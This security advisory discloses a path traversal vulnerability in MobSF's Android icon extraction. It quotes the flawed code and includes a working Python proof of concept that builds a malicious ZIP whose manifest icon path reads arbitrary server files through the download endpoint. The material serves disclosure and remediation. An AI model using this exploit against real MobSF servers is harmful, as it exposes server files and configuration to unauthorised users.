PT-2026-80251 · Pypi · Mobsf
Published
2026-08-18
·
Updated
2026-08-18
CVSS v3.1
5.5
Medium
| Vector | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N |
Summary
The
find icon path zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.An attacker can supply a malicious
android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED EXTENSIONS.Details
elif icon path.startswith(('res/', '/res/')):
stripped relative path = icon path.strip('/res') # Works for neither /res nor res
full path = os.path.join(res dir, stripped relative path)
if os.path.exists(full path):
return full path
full path += '.png'
if os.path.exists(full path):
return full pathhttps://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon analysis.py#L126
This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into
DWD DIR/<md5>-icon.<ext>:icon file = find icon path zip(
app dic['md5'],
res path,
icon from mfst)
if icon file and Path(icon file).exists():
dwd = Path(settings.DWD DIR)
out = dwd / (app dic['md5'] + '-icon' + Path(icon file).suffix)
copy2(icon file, out)
app dic['icon path'] = out.namehttps://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon analysis.py#L101
Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via:
GET /download/<md5>-icon.<ext>PoC
The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):
import hashlib
import io
import zipfile
DEFAULT HOST = "http://localhost:8000"
DEFAULT TARGET = "res/../../../signatures/maltrail-malware-domains.txt"
MANIFEST TEMPLATE = """
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.poc.icontraversal">
<application android:icon="{target}"
android:label="PoC App">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
"""
MAIN ACTIVITY = """
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""
host = DEFAULT HOST
target = DEFAULT TARGET
host = host.rstrip("/")
# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP DEFLATED) as zf:
zf.writestr("AndroidManifest.xml", MANIFEST TEMPLATE.format(target=target))
zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN ACTIVITY)
zf.writestr("res/drawable/placeholder.png", b"x89PNGr
x1a
")
# compute hash
zip bytes = buf.getvalue()
md5 = hashlib.md5(zip bytes).hexdigest()
# write to disk
out file = "poc icon traversal.zip"
with open(out file, "wb") as f:
f.write(zip bytes)
import os
target suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download filename = f"{md5}-icon{target suffix}"
print(f"[+] ZIP created : {os.path.abspath(out file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f" {host}/download/{download filename}")Impact
This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in
ALLOWED EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon path field in the scan report (if the target does not exist the path will be empty).Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.
Remediation
This can fixed by using the
is path traversal function to validate user input.Fix
Path traversal
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Mobsf